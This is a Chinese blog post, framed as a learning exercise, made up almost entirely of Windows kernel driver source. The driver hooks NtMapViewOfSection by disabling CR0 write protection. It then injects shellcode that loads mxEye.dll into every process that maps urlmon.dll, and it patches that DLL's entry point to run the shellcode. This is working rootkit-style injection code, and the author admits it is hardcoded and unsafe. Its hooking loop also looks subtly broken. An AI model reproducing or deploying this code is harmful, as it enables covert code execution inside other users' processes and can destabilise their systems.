学习内核注射DLL到用户态进程空间

/*
InjectEye的功能是:当系统中有进程加载urlmon.dll时,注射功能代码到该进程中,修改urlmon.dll!DllMain头部的5个字节数据使之跳转到我们的功能代码中,抢先执行,即注射mxEye.dll到该进程中。
*/

/*
FileName:    InjectEye.h
Author:    ejoyc
Data    :    [03/05/2010]
Targer:    Hook NtMapViewOfSection,Then watch any  process to create 
*/
#pragma once
#include <ntifs.h>
#include <ntimage.h>
#include "xde.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str);
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN IsHook);
PVOID    SearchFunc(PULONG    TargetErea,PULONG    FuncHdrInfo);
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);                   
NTSYSAPI
NTSTATUS
NTAPI
NtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);
NTSYSAPI
NTSTATUS
NTAPI
NtAllocateVirtualMemory(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
typedef NTSTATUS (*PZwProtectVirtualMemory)(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG ProtectSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
typedef NTSTATUS (*PZwWriteVirtualMemory)(IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL);       
//------------------------------------------------------------------------------------------------------------------------
typedef struct _CONTROL_AREA
{
PVOID Segment          ;//Ptr32 _SEGMENT
LIST_ENTRY DereferenceList  ;// _LIST_ENTRY
ULONG NumberOfSectionReferences ;// Uint4B
ULONG NumberOfPfnReferences ;// Uint4B
ULONG NumberOfMappedViews ;// Uint4B
ULONG NumberOfSystemCacheViews ;// Uint4B
ULONG NumberOfUserReferences ;// Uint4B
ULONG u                ;// __unnamed
PFILE_OBJECT FilePointer      ;// Ptr32 _FILE_OBJECT
PVOID WaitingForDeletion ;// Ptr32 _EVENT_COUNTER
USHORT ModifiedWriteCount ;// Uint2B
USHORT FlushInProgressCount ;// Uint2B
ULONG WritableUserReferences ;// Uint4B
ULONG QuadwordPad      ;// Uint4B
}CONTROL_AREA,*PCONTROL_AREA;

typedef struct _SEGMENT
{
PCONTROL_AREA ControlArea      ;// Ptr32 _CONTROL_AREA
ULONG TotalNumberOfPtes ;// Uint4B
ULONG NonExtendedPtes  ;// Uint4B
ULONG Spare0           ;// Uint4B
ULONG64 SizeOfSegment    ;//  Uint8B
ULONG64 SegmentPteTemplate ;//  _MMPTE
ULONG NumberOfCommittedPages ;// Uint4B
PVOID ExtendInfo       ;//  Ptr32 _MMEXTEND_INFO
ULONG SegmentFlags     ;// _SEGMENT_FLAGS
PVOID BasedAddress     ;// Ptr32 Void
ULONG u1               ;// __unnamed
ULONG u2               ;// __unnamed
PVOID PrototypePte     ;// Ptr32 _MMPTE
PVOID ThePtes          ;// [1] _MMPTE
}SEGMENT,*PSEGMENT;

typedef struct _SECTION_OBJECT
{
PVOID StartingVa;//Ptr32 Void
PVOID EndingVa;//Ptr32 Void
PVOID Parent;//Ptr32 Void
PVOID LeftChild ;//Ptr32 Void
PVOID RightChild ;//Ptr32 Void
PSEGMENT Segment;//Ptr32 _SEGMENT
}SECTION_OBJECT,*PSECTION_OBJECT;
//----------------------------------华丽的分割线 ----------------------------------//
//----------------------------------华丽的分割线----------------------------------//
/*
FileName:    InjectEye.c
Author    :    ejoyc
Data    :    [03/05/2010]
Caution    :    1.本程序仅仅在Win2003R2sp2[3790.srv03_sp2_gdr.090319-1204]测试;
2.本程序假设OEP为DllMain的地址——其实这是不对的;
3.本程序涉及大量的硬编码;
4.本程序参考sudami的《N种内核注入DLL的思路及实现》——这是一篇相当不错的教程
5.本程序的部分代码相当的不安全,需要加强有效性可用性的检测;
*/
#include "InjectEye.h"
extern POBJECT_TYPE*     MmSectionObjectType;
PULONG                    AddressOfEntryPoint=NULL ;
PZwProtectVirtualMemory ZwProtectVirtualMemory=NULL;
PZwWriteVirtualMemory    ZwWriteVirtualMemory=NULL;
ULONG                    ulHeadLen1    =    0;
WCHAR                    szDllName[]=L"urlmon.dll";
SIZE_T                    nDllLen=sizeof(szDllName);
ULONG                    FuncInfo[]={0x90909090,0x8b55ff8b,0x5d8b53ec,0xff57560c};//urlmon.dll!DllMain函数头部特征
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS        NtStatus=STATUS_UNSUCCESSFUL;
UNICODE_STRING    SystemRoutineName;
KdPrint(("[InjectEye] Entry \r\n"));
DriverObject->DriverUnload=InjectEyeUnload;
RtlInitUnicodeString(&SystemRoutineName,L"ZwPulseEvent");
ZwProtectVirtualMemory=(PZwProtectVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14); 
RtlInitUnicodeString(&SystemRoutineName,L"ZwYieldExecution");
ZwWriteVirtualMemory=(PZwWriteVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14);
if ((ZwProtectVirtualMemory!=NULL && ZwWriteVirtualMemory!=NULL) && HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
HookFunc(FALSE);
KdPrint(("[InjectEye] Unloaded\n"));
}
_declspec(naked) NTSTATUS
GoNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
_asm
{
nop;//    \    
nop;//    |
nop;//    |
nop;//    |
nop;//    |
nop;//    |    
nop;//    >开辟足够大的空间来容纳头部的机器码
nop;//    |
nop;//    |
nop;//    |
nop;//    |
nop;//    /
mov        eax,NtMapViewOfSection;
add     eax,ulHeadLen1;
jmp     eax
}
}
_declspec(naked) VOID InjectDllFunc()//size>=42
{
_asm//这部部分涉及大量的硬编码,请慎重
{
pushad                                    ;60                    
push        6Ch                            ;6A 6C
push        6C642E65h                    ;68 65 2E 64 6C
push        7945786Dh                    ;68 6D 78 45 79//mxEye.dll
mov         eax,esp                        ;8B C4     
push        eax                            ;50
mov         eax,7C801DC6h                ;B8 C6 1D 80 7C//LoadLibraryA=7C801DC6h{win2003sp2}
call        eax                            ;FF D0
pop         eax                            ;58
pop         eax                            ;58
pop         eax                            ;58
popad                                    ;6127
mov            edi,edi                        ;8B FF
push        ebp                            ;55
mov            ebp,esp                        ;8B EC//32
mov         eax,41424344h                ;B8 44 43 42 41//修改offset=33处的值为原始OEP
add            eax,5;                        ;83 C0 05 
jmp            eax;                        ;FF E0
nop;//    \    
nop;//    |
nop;//    |
nop;//    /

}
}
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
UCHAR                        NewOEPHdr[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
NTSTATUS                    NtStatus=STATUS_UNSUCCESSFUL;
PSECTION_OBJECT                SectionObject=NULL;
PCONTROL_AREA                ControlArea=NULL;
PFILE_OBJECT                FileObject=NULL;
SIZE_T                        nMaxLen=0;
PUCHAR                        MyDllAddress=NULL;
SIZE_T                        MyDllRegionSize=4096;
ULONG                        OldProtect;
ULONG                        Offset=0;
PIMAGE_DOS_HEADER            ImgDosHdr=NULL;
PIMAGE_NT_HEADERS            ImgNtHdrs=NULL;

NtStatus=GoNtMapViewOfSection(SectionHandle,ProcessHandle,BaseAddress,ZeroBits,CommitSize,SectionOffset ,ViewSize,InheritDisposition,AllocationType,Protect);
if (NtStatus==STATUS_SUCCESS && ObReferenceObjectByHandle(SectionHandle,SECTION_MAP_EXECUTE,*MmSectionObjectType,KernelMode,&SectionObject,NULL)==STATUS_SUCCESS)
{
ControlArea=SectionObject->Segment->ControlArea;
FileObject=ControlArea->FilePointer;
if ((ControlArea->u&0x20)>0)
{
nMaxLen=FileObject->FileName.Length+2;
if (nMaxLen>=nDllLen && RtlCompareMemory(nMaxLen-nDllLen+(PUCHAR)FileObject->FileName.Buffer,szDllName,nDllLen)==nDllLen)
{
ImgDosHdr=(PIMAGE_DOS_HEADER)(*BaseAddress);
ImgNtHdrs=(PIMAGE_NT_HEADERS)(ImgDosHdr->e_lfanew+(PUCHAR)ImgDosHdr);
AddressOfEntryPoint=(PULONG)(ImgNtHdrs->OptionalHeader.AddressOfEntryPoint+(PUCHAR)ImgDosHdr);
MyDllRegionSize=128;
if (ZwAllocateVirtualMemory(ProcessHandle,&MyDllAddress,0,&MyDllRegionSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE)==STATUS_SUCCESS)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress,(PUCHAR)InjectDllFunc,42,NULL);
MyDllRegionSize=4096;
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,PAGE_EXECUTE_READWRITE,&OldProtect);
AddressOfEntryPoint=(PULONG)SearchFunc(AddressOfEntryPoint,FuncInfo);
if (AddressOfEntryPoint!=NULL)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress+33,&AddressOfEntryPoint,4,NULL);
Offset=(ULONG)MyDllAddress-(ULONG)AddressOfEntryPoint-5;
RtlCopyMemory(NewOEPHdr+1,(PUCHAR)&Offset,4);
ZwWriteVirtualMemory(ProcessHandle,AddressOfEntryPoint,NewOEPHdr,5,NULL);
}                    
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,OldProtect,NULL);
}    
}
}
ObDereferenceObject(SectionObject);
}
return NtStatus;
}
BOOLEAN HookFunc(BOOLEAN IsHook)
{
struct xde_instr MyDiza;
UCHAR NewFuncHead1[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
ULONG  Offset;
ULONG  CR0Value;
KIRQL  Irql;
PUCHAR code_pos;
if (IsHook==FALSE && ulHeadLen1==0 )
{
return FALSE; 
}
KdPrint(("[InjectEye] %-8s{%08X}\r\n",IsHook?"Hook":"UnHook",NtMapViewOfSection));
Irql=KeRaiseIrqlToDpcLevel();    
_asm//关闭写保护
{
cli;
push eax;    
mov eax,cr0;
mov CR0Value,eax;
and eax,0xfffeffff;
mov cr0,eax;
pop eax;
}
if (IsHook)
{
Offset=(ULONG)DetourNtMapViewOfSection-(ULONG)NtMapViewOfSection-5;
RtlCopyMemory(NewFuncHead1+1,(PUCHAR)&Offset,4);
code_pos=(PUCHAR )NtMapViewOfSection;
ulHeadLen1=0;
while (ulHeadLen1<5)
{
RtlZeroMemory(&MyDiza,sizeof(struct xde_instr));
xde_disasm(code_pos,&MyDiza);            
ulHeadLen1+=MyDiza.len;
code_pos+=ulHeadLen1;
}
RtlCopyMemory((PUCHAR)GoNtMapViewOfSection,(PUCHAR)NtMapViewOfSection,ulHeadLen1);
RtlMoveMemory((PUCHAR)NtMapViewOfSection,NewFuncHead1,5);
}
else
{
RtlMoveMemory((PUCHAR)NtMapViewOfSection,(PUCHAR)GoNtMapViewOfSection,ulHeadLen1);
ulHeadLen1=0;
}
_asm//重启写保护
{
push eax;
mov eax,CR0Value;
mov cr0,eax;
pop eax;
sti;
}
KeLowerIrql(Irql);
return TRUE;
}
//------------------------------------------------------------------------------------------------------------------------
PVOID    SearchFunc(PULONG    TargetErea,PULONG    FuncHdrInfo)//暴力搜索内存,我的本意是捕获urlmon.dll的DllMain函数地址
{
PULONG    Ptr=TargetErea;
do 
{
if (Ptr[0]==FuncHdrInfo[0] && Ptr[1]==FuncHdrInfo[1] && Ptr[2]==FuncHdrInfo[2] && Ptr[3]==FuncHdrInfo[3])
{
Ptr+=1;
break;
}
if (((PUCHAR)Ptr-(PUCHAR)TargetErea)>0x1000)
{
Ptr=NULL;
break;
}
Ptr=(PULONG)(1+(PUCHAR)Ptr);
} while (TRUE);
return Ptr;
}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值